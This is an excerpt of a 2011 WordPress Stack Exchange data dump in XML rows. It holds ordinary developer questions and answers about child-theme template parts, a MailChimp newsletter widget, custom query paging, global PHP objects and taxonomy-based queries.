  <row Id="20411" PostTypeId="5" CreationDate="2011-06-19T12:38:22.867" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-19T12:38:22.867" LastActivityDate="2011-06-19T12:38:22.867" />
  <row Id="20412" PostTypeId="4" CreationDate="2011-06-19T12:38:22.867" Score="0" ViewCount="" Body="This is about Theme Development. WordPress Themes are files that work together to create the design and functionality of a WordPress site." OwnerUserId="-1" LastEditorUserId="4153" LastEditorDisplayName="" LastEditDate="2011-06-20T14:01:01.000" LastActivityDate="2011-06-20T14:01:01.000" />
  <row Id="20413" PostTypeId="5" CreationDate="2011-06-19T12:39:11.197" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-19T12:39:11.197" LastActivityDate="2011-06-19T12:39:11.197" />
  <row Id="20414" PostTypeId="4" CreationDate="2011-06-19T12:39:11.197" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-19T12:39:11.197" LastActivityDate="2011-06-19T12:39:11.197" />
  <row Id="20415" PostTypeId="5" CreationDate="2011-06-19T12:40:38.950" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-19T12:40:38.950" LastActivityDate="2011-06-19T12:40:38.950" />
  <row Id="20416" PostTypeId="4" CreationDate="2011-06-19T12:40:38.950" Score="0" ViewCount="" Body="Every Post in WordPress is filed under one or more Categories. Categories allow the classification of your Posts into groups and subgroups, thereby aiding viewers in the navigation and use of your site." OwnerUserId="-1" LastEditorUserId="4153" LastEditorDisplayName="" LastEditDate="2011-06-19T14:45:39.690" LastActivityDate="2011-06-19T14:45:39.690" />
  <row Id="20417" PostTypeId="1" CreationDate="2011-06-19T12:55:34.130" Score="-1" ViewCount="188" Body="&lt;p&gt;How can I force WP to always check the child theme folder first when running &lt;code&gt;get_template_part&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: child theme loads &lt;code&gt;get_template_part('content', 'inventory')&lt;/code&gt; in &lt;code&gt;single.php&lt;/code&gt;. Because all child themes (and there are a lot) share the same common inventory template base, the file &lt;code&gt;content-inventory.php&lt;/code&gt; is in the parent theme. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add a small section to said inventory template that will be unique to each child theme. Adding &lt;code&gt;get_template_part('content', 'inventory-special')&lt;/code&gt; into &lt;code&gt;content-inventory.php&lt;/code&gt; will not check the child theme directory first.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-19T20:41:04.187" Title="How to make get_template_part always check child theme first?" Tags="&lt;get-template-part&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="20418" PostTypeId="2" ParentId="20398" CreationDate="2011-06-19T13:12:27.420" Score="1" ViewCount="" Body="&lt;p&gt;I have not looked at this plugins code, but what you will need to do is locate the part of the code that applies to show only this menu to the admin (normally it looks something like:)  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( current_user_can( 'manage_options' ) {&#xA;// some code stuff in here&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;form there you should change the &lt;code&gt;manage_options&lt;/code&gt; text to &lt;code&gt;upload_files&lt;/code&gt; which is a defined &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;capability for author role&lt;/strong&gt;&lt;/a&gt; and above (or you could &lt;a href=&quot;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;create a new capability&lt;/strong&gt;&lt;/a&gt; which only applies to author role). Creating a new capability is probably the best option in my opinion as then you could target specifc trusted authors to have permissions to the menu by assigning that new capability to username.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should do as you require but be warned any update to the plugin by the plugin author will override this so for each time the plugin is updated you will have to re-apply this slight modification.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-06-19T13:20:11.263" LastActivityDate="2011-06-19T13:20:11.263" CommentCount="1" />
  <row Id="20419" PostTypeId="2" ParentId="20393" CreationDate="2011-06-19T13:44:40.813" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://doctype.com/_moz_dirty&quot; rel=&quot;nofollow&quot;&gt;Read here&lt;/a&gt; about &lt;code&gt;_moz_dirty&lt;/code&gt; (Using Google would have given you the same answer - 2nd Result for &quot;_moz_dirty&quot;). Regarding html-stuff: You're offering the ability to add links...&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-19T13:44:40.813" CommentCount="6" />
  <row Id="20420" PostTypeId="1" CreationDate="2011-06-19T13:45:03.120" Score="0" ViewCount="70" Body="&lt;p&gt;I am writing a newsletter sign-up widget which integrates with MailChimp's API (I know there is already a widget which has been written to do this, but for many reasons I need to write my own). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works great, widget outputs to the page user can save the widget settings and it talks to the MailChimp API fine. What I can't figure out how to do though is how to get the widget to handle the processing of the sign-up form. I need the widget to handle this because I need to reference the saved MailChimp api key of the widget's instance, in order to post the input to the MailChimp API. Below is my code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Newsletter Widget&#xA; *&#xA; * @package wordpress&#xA; * @author Matt Fairbrass&#xA; **/&#xA;class Newsletter extends WP_Widget {&#xA;    function Newsletter() {&#xA;        parent::WP_Widget(false, $name = 'Newsletter', array('description' =&amp;gt; 'Display the Inscribe Creative newsletter form.'));&#xA;        //add_action('parse_request', array(&amp;amp;$this, 'newsletter_submission'));&#xA;    }&#xA;&#xA;    public function newsletter_submission() {&#xA;&#xA;        //$mailchimp = new MCAPI($api_key);&#xA;        print_r($_POST['newsletter']);&#xA;        exit;&#xA;    }&#xA;&#xA;    function form($instance) {      &#xA;        /* Set up some default widget settings. */&#xA;        $defaults = array(&#xA;            'title' =&amp;gt; 'Keep me posted',&#xA;            'subheading' =&amp;gt; 'Join our Newsletter'&#xA;        );&#xA;&#xA;        $instance = wp_parse_args((array)$instance, $defaults);&#xA;    ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;&amp;lt;?=$this-&amp;gt;get_field_id('title')?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:'); ?&amp;gt;&amp;lt;/label&amp;gt; &#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;widefat&quot; id=&quot;&amp;lt;?=$this-&amp;gt;get_field_id('title')?&amp;gt;&quot; name=&quot;&amp;lt;?=$this-&amp;gt;get_field_name('title')?&amp;gt;&quot; value=&quot;&amp;lt;?=$instance['title']?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;&amp;lt;?=$this-&amp;gt;get_field_id('subheading')?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Subheading:'); ?&amp;gt;&amp;lt;/label&amp;gt; &#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;widefat&quot; id=&quot;&amp;lt;?=$this-&amp;gt;get_field_id('subheading')?&amp;gt;&quot; name=&quot;&amp;lt;?=$this-&amp;gt;get_field_name('subheading')?&amp;gt;&quot; value=&quot;&amp;lt;?=$instance['subheading']?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;&amp;lt;?=$this-&amp;gt;get_field_id('mc_api_key')?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('MailChimp API Key:'); ?&amp;gt;&amp;lt;/label&amp;gt; &#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;widefat&quot; id=&quot;&amp;lt;?=$this-&amp;gt;get_field_id('mc_api_key')?&amp;gt;&quot; name=&quot;&amp;lt;?=$this-&amp;gt;get_field_name('mc_api_key')?&amp;gt;&quot; value=&quot;&amp;lt;?=$instance['mc_api_key']?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;?php if(!empty($instance['mc_api_key'])) :?&amp;gt;&#xA;            &amp;lt;?php &#xA;                require_once(TEMPLATEPATH.'/library/MCAPI.class.php');&#xA;                $mailchimp = new MCAPI($instance['mc_api_key']);&#xA;                $lists = $mailchimp-&amp;gt;lists();&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;&amp;lt;?=$this-&amp;gt;get_field_id('mc_list')?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Mailing List:'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                &amp;lt;?php if(!empty($lists['data'])) :?&amp;gt;&#xA;                    &amp;lt;select class=&quot;widefat&quot; id=&quot;&amp;lt;?=$this-&amp;gt;get_field_id('mc_list')?&amp;gt;&quot; name=&quot;&amp;lt;?=$this-&amp;gt;get_field_name('mc_list')?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php foreach($lists['data'] as $list) :?&amp;gt;&#xA;                            &amp;lt;option value=&quot;&amp;lt;?=$list['web_id']?&amp;gt;&quot;&amp;gt;&amp;lt;?=$list['name']?&amp;gt;&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;?php endforeach;?&amp;gt;&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;?php else : ?&amp;gt;&#xA;                    &amp;lt;br/&amp;gt;You have not yet created any mailing lists on &amp;lt;a href=&quot;http://www.mailchimp.com&quot;&amp;gt;MailChimp&amp;lt;/a&amp;gt;. Login to your account and add some lists in order to use this widget.&#xA;                &amp;lt;?php endif;?&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php endif;?&amp;gt;&#xA;    &amp;lt;?php&#xA;    }&#xA;&#xA;    function update($new_instance, $old_instance) {&#xA;        // processes widget options to be saved&#xA;        $instance = $old_instance;&#xA;        $instance['title'] = strip_tags($new_instance['title']);&#xA;        $instance['subheading'] = strip_tags($new_instance['subheading']);&#xA;        $instance['mc_api_key'] = strip_tags($new_instance['mc_api_key']);&#xA;        $instance['mc_list'] = strip_tags($new_instance['mc_list']);&#xA;        return $instance;&#xA;    }&#xA;&#xA;    function widget($args, $instance) {&#xA;        // outputs the content of the widget&#xA;        extract($args);&#xA;        $title = apply_filters('widget_title', $instance['title']);&#xA;        $subheading = apply_filters('widget_title', $instance['subheading']);&#xA;        $mc_list = $instance['mc_list'];&#xA;&#xA;        echo $before_widget;&#xA;&#xA;            if ($title) {&#xA;                echo $before_title . $title . $after_title;&#xA;            }&#xA;        ?&amp;gt;  &#xA;            &amp;lt;form action=&quot;#wpsbw&quot; method=&quot;POST&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;newsletter[mc_list]&quot; value=&quot;&amp;lt;?=$mc_list?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;fieldset&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;&amp;lt;?=$subheading?&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;newsletter[name]&quot; placeholder=&quot;Full name&quot; value=&quot;&quot; class=&quot;rounded&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;newsletter[email]&quot; placeholder=&quot;E-mail address&quot; value=&quot;&quot; class=&quot;rounded&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;alignright&quot;&amp;gt;&amp;lt;span&amp;gt;Sign me up&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;        &amp;lt;?php   &#xA;        echo $after_widget;&#xA;    }&#xA;&#xA;} // END class&#xA;&#xA;register_widget('Newsletter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reading through the codex I noticed the following parameter for add_action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('parse_request', array(&amp;amp;$this, 'newsletter_submission'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what I was hoping to be able to was to register the newsletter_submission function with parse_request, and basically have that function called when a form is submitted, but I get a weird PHP Fatal error which is not being logged in my apache logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got any ideas on how I can achieve this?&lt;/p&gt;&#xA;" OwnerUserId="6260" LastActivityDate="2011-06-19T13:45:03.120" Title="Widget's handling page form submissions?" Tags="&lt;widgets&gt;&lt;form&gt;&lt;api&gt;&lt;newsletter&gt;" CommentCount="8" />
  <row Id="20421" PostTypeId="2" ParentId="20417" CreationDate="2011-06-19T13:46:41.417" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_template_part()&lt;/code&gt;&lt;/a&gt; does this per default.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-19T13:46:41.417" />
  <row Id="20422" PostTypeId="2" ParentId="20417" CreationDate="2011-06-19T13:47:28.593" Score="0" ViewCount="" Body="&lt;p&gt;It does, by default. The &lt;code&gt;get_template_part()&lt;/code&gt; function uses &lt;code&gt;locate_template()&lt;/code&gt; which cascades through the template files in in order of specificity and stylesheetpath/templatepath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if your Child Theme includes a &lt;code&gt;content-inventory.php&lt;/code&gt;, then &lt;code&gt;get_template_part()&lt;/code&gt; will include it; if not, then it will look for &lt;code&gt;content-inventory.php&lt;/code&gt; in the parent Theme. If it doesn't find it, it will then look for &lt;code&gt;content.php&lt;/code&gt; first in the child, then in the parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking a stab at understanding what you mean; please clarify if I'm misunderstanding...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to include a new template part file within a Parent-Theme template file called &lt;code&gt;content-inventory.php&lt;/code&gt;, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way, AFAIK, that you can do that is to &lt;em&gt;copy &lt;code&gt;content-inventory.php&lt;/code&gt; into your Child Theme&lt;/em&gt;, and then add the new &lt;code&gt;get_template_part()&lt;/code&gt; call where needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a file named &lt;code&gt;content-inventory.php&lt;/code&gt; is included in &lt;em&gt;both&lt;/em&gt; the Parent &lt;em&gt;and&lt;/em&gt; the Child Theme, then WordPress will &lt;em&gt;always&lt;/em&gt; use the &lt;strong&gt;Child Theme&lt;/strong&gt; version, if included using &lt;code&gt;get_template_part()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-19T20:41:04.187" LastActivityDate="2011-06-19T20:41:04.187" CommentCount="2" />
  <row Id="20423" PostTypeId="1" CreationDate="2011-06-19T13:53:41.877" Score="1" ViewCount="50" Body="&lt;p&gt;I have a Class with a lot of variables.&#xA;To get a variable, I have to write this line in each function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$x = new MY_Class();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess there has to be another way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_data(){&#xA;global $x;&#xA;$x = new MY_Class();&#xA;return apply_filters( 'my_data', $x )&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I tried to use $x-&gt;var in other functions that need the variables, but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the $x global and its variables accessable by other functions? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5210" LastActivityDate="2011-06-19T15:06:03.027" Title="How to avoid repeatedly use the new statement to instantiate a class?" Tags="&lt;global&gt;&lt;object&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20424" PostTypeId="1" AcceptedAnswerId="20427" CreationDate="2011-06-19T14:06:29.287" Score="1" ViewCount="178" Body="&lt;p&gt;I cannot figure out how to make next_posts_link() work within my custom WP_Query. Here is the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function artists() {&#xA;  echo '&amp;lt;div id=&quot;artists&quot;&amp;gt;';&#xA;  $args = array( 'post_type' =&amp;gt; 'artist', 'posts_per_page' =&amp;gt; 3, 'paged' =&amp;gt; get_query_var( 'page' ));&#xA;  $loop = new WP_Query( $args );&#xA;  while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();&#xA;    echo '&amp;lt;a class=&quot;artist&quot; href=&quot;'.get_post_permalink().'&quot;&amp;gt;';&#xA;    echo '&amp;lt;h3 class=&quot;artist-name&quot;&amp;gt;'.get_the_title().'&amp;lt;/h3&amp;gt;';&#xA;    $attachments = attachments_get_attachments();&#xA;    $total_attachments = count( $attachments );&#xA;    for( $i=0; $i&amp;lt;$total_attachments; $i++ ) {&#xA;      $thumb = wp_get_attachment_image_src( $attachments[$i]['id'], 'thumbnail' );&#xA;      echo '&amp;lt;span class=&quot;thumb&quot;&amp;gt;&amp;lt;img src=&quot;'.$thumb[0].'&quot; /&amp;gt;&amp;lt;/span&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/a&amp;gt;';&#xA;  endwhile;&#xA;  echo '&amp;lt;/div&amp;gt;';&#xA;  next_posts_link();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6318" LastActivityDate="2011-06-19T15:18:27.883" Title="WP_Query and next_posts_link" Tags="&lt;wp-query&gt;&lt;navigation&gt;&lt;custom-loop&gt;" AnswerCount="2" />
  <row Id="20425" PostTypeId="1" AcceptedAnswerId="20428" CreationDate="2011-06-19T14:06:34.033" Score="1" ViewCount="32" Body="&lt;p&gt;I was wondering if there is a way or a plugin to post something like twitter update messages instead of a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like &lt;a href=&quot;http://p2demo.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;http://p2demo.wordpress.com/&lt;/a&gt; but better, where a user will post update messages not an entire post (in database matters). That means you will save space, make it quicker and fewer database resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a way to post lite messages, that database will only save the must, like IDs, title, post and a thumb, through php maybe. No taxonomies and and and.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you understand what I am trying to say (sorry for any bad English)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated&lt;/strong&gt;:  I found this code, should I use this as a twitter posting feature? (As I said I need fewer db resources)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create post object&#xA;$my_post = array();&#xA;$my_post['post_title']    = 'My post';&#xA;$my_post['post_content']  = 'This is my post.';&#xA;$my_post['post_status']   = 'publish';&#xA;$my_post['post_author']   = 1;&#xA;$my_post['post_category'] = array(0);&#xA;// Insert the post into the database&#xA;wp_insert_post( $my_post );&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4448" LastEditorUserId="4448" LastEditorDisplayName="" LastEditDate="2011-06-19T14:20:22.360" LastActivityDate="2011-06-19T14:55:00.610" Title="Instead of submiting an entire post, is there any way to submit a lite-post or a simple message?" Tags="&lt;posts&gt;&lt;database&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20426" PostTypeId="2" ParentId="20389" CreationDate="2011-06-19T14:20:43.687" Score="0" ViewCount="" Body="&lt;p&gt;That's the best I can come up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse20389_show_shortcode_tags()&#xA;{&#xA;    echo '&amp;lt;pre&amp;gt;Shortcode Tags: ';&#xA;        print_r( $GLOBALS['wp_filter']['the_content'] );&#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;add_action( 'shutdown', 'wpse20389_show_shortcode_tags' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-19T14:20:43.687" CommentCount="0" />
  <row Id="20427" PostTypeId="2" ParentId="20424" CreationDate="2011-06-19T14:48:22.390" Score="1" ViewCount="" Body="&lt;p&gt;try passing max_num_pages to the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;next_posts_link('Older Entries »', $loop-&amp;gt;max_num_pages);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-19T14:48:22.390" />
  <row Id="20428" PostTypeId="2" ParentId="20425" CreationDate="2011-06-19T14:55:00.610" Score="1" ViewCount="" Body="&lt;p&gt;The code you posted is about the same one WordPress uses to insert posts in to the database so it's not really saving anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i would suggest you use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;Custom Post type&lt;/a&gt; and only allow a few or as much as needed objects to it :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;'title'&lt;/li&gt;&#xA;&lt;li&gt;'author'&lt;/li&gt;&#xA;&lt;li&gt;'excerpt'&lt;/li&gt;&#xA;&lt;li&gt;'custom-fields'&lt;/li&gt;&#xA;&lt;li&gt;'comments' (assuming you want to allow comments.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will not save you any extra unneeded fields (not more the the minimum needed by WordPress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if that is still not good enough the your best bet would be to create your own database table and only store what you need in it.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-19T14:55:00.610" CommentCount="3" />
  <row Id="20429" PostTypeId="1" AcceptedAnswerId="20443" CreationDate="2011-06-19T14:56:34.637" Score="1" ViewCount="39" Body="&lt;p&gt;I'm trying to have sort of a functionality that will let me find all internal links on my site that are pointing to a page. i.e - I want to know all pages on my site that are linking to (any) page in my site. &#xA;I tried to find sort of a ready made plugin for that, but didn't seem to find. &#xA;I can develop one by myself, but I wonder what will be the best way to have such functionality. &#xA;Any ideas will be very welcomed .&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2011-06-19T23:05:23.540" Title="How to find all links between pages" Tags="&lt;linking&gt;" AnswerCount="1" />
  <row Id="20430" PostTypeId="2" ParentId="20423" CreationDate="2011-06-19T15:06:03.027" Score="2" ViewCount="" Body="&lt;p&gt;The way you've done it above should work. Once a variable is declared in global scope, it should be globally available (of course, your functions still need to declare it as a global: &lt;code&gt;global $x;&lt;/code&gt;). You could also use the &lt;code&gt;$GLOBALS&lt;/code&gt; superglobal variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $x;&#xA;$x-&amp;gt;var;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the same as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$GLOBALS['x']-&amp;gt;var;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I personally would use a static variable in your function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_data(){&#xA;  static $data = null;&#xA;  if(null === $data)&#xA;    $data = new MY_Class();&#xA;  return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then anywhere in your code, you could just write &lt;code&gt;$vars = my_data();&lt;/code&gt; and have the one instantiation of your class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helped!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-06-19T15:06:03.027" CommentCount="1" />
  <row Id="20431" PostTypeId="1" CreationDate="2011-06-19T15:15:30.817" Score="2" ViewCount="143" Body="&lt;p&gt;I've been stumbling around trying to figure out how to get a specific taxonomy term of the current page so that I can subsequently populate queries on the page for other post types that share the same term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Page 1 has taxonomy term - education policy&lt;/li&gt;&#xA;&#xA;&lt;li&gt;page.php has four parts:&#xA;&lt;ol&gt;&lt;li&gt;standard loop that outputs the page, but then has three subsequent queries&lt;/li&gt;&#xA;&lt;li&gt;loop for events that have taxonomy term - education policy&lt;/li&gt;&#xA;&lt;li&gt;loop for reports that have taxonomy term - education policy&lt;/li&gt;&#xA;&lt;li&gt;loop for people that have taxonomy term - education policy&lt;/li&gt;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I did page specific templates where I could just hardcode the term into the extra loops, but I need to figure out how to do it dynamically (what was originally supposed to be four or five pages is now forty or fifty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a few similar questions, but none that I could really find my way through implementing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6389/get-current-pages-taxonomy&quot;&gt;Get current page&amp;#39;s taxonomy&lt;/a&gt;&#xA;which was a little confusing to follow in terms of what was actually being asked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/19962/get-the-term-id-belonging-to-custom-taxonomy-on-a-custom-single-post-type-php-tem&quot;&gt;Get the term id belonging to custom taxonomy on a custom single-post-type.php template page.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense and many thanks.&lt;/p&gt;&#xA;" OwnerUserId="1340" LastActivityDate="2011-08-27T17:35:32.197" Title="How to get taxonomy term of the current page and populate queries in the template" Tags="&lt;taxonomy&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="20432" PostTypeId="2" ParentId="20424" CreationDate="2011-06-19T15:18:27.883" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;next_posts_link&lt;/code&gt; and &lt;code&gt;previous_posts_link&lt;/code&gt; , as well as several others functions, make use of a global variable called &lt;code&gt;$wp_query&lt;/code&gt;. This variable is actually an instance of the WP_Query object. However, when you create our own instantiation of WP_Query, you don’t have this global variable &lt;code&gt;$wp_query&lt;/code&gt;, which is why paging will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to fix that you trick &lt;code&gt;$wp_query&lt;/code&gt; global&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//save old query&#xA;$temp = $wp_query; &#xA;//clear $wp_query; &#xA;$wp_query= null; &#xA;//create a new instance&#xA;$wp_query = new WP_Query();&#xA;$args = array( 'post_type' =&amp;gt; 'artist', 'posts_per_page' =&amp;gt; 3, 'paged' =&amp;gt; get_query_var( 'page' ));&#xA;$wp_query-&amp;gt;query($args);&#xA;while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();&#xA;    echo '&amp;lt;a class=&quot;artist&quot; href=&quot;'.get_post_permalink().'&quot;&amp;gt;';&#xA;    echo '&amp;lt;h3 class=&quot;artist-name&quot;&amp;gt;'.get_the_title().'&amp;lt;/h3&amp;gt;';&#xA;    $attachments = attachments_get_attachments();&#xA;    $total_attachments = count( $attachments );&#xA;    for( $i=0; $i&amp;lt;$total_attachments; $i++ ) {&#xA;      $thumb = wp_get_attachment_image_src( $attachments[$i]['id'], 'thumbnail' );&#xA;      echo '&amp;lt;span class=&quot;thumb&quot;&amp;gt;&amp;lt;img src=&quot;'.$thumb[0].'&quot; /&amp;gt;&amp;lt;/span&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/a&amp;gt;';&#xA;  endwhile;&#xA;  echo '&amp;lt;/div&amp;gt;';&#xA;  next_posts_link();&#xA;//clear again&#xA;$wp_query = null; &#xA;//reset&#xA;$wp_query = $temp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-19T15:18:27.883" />
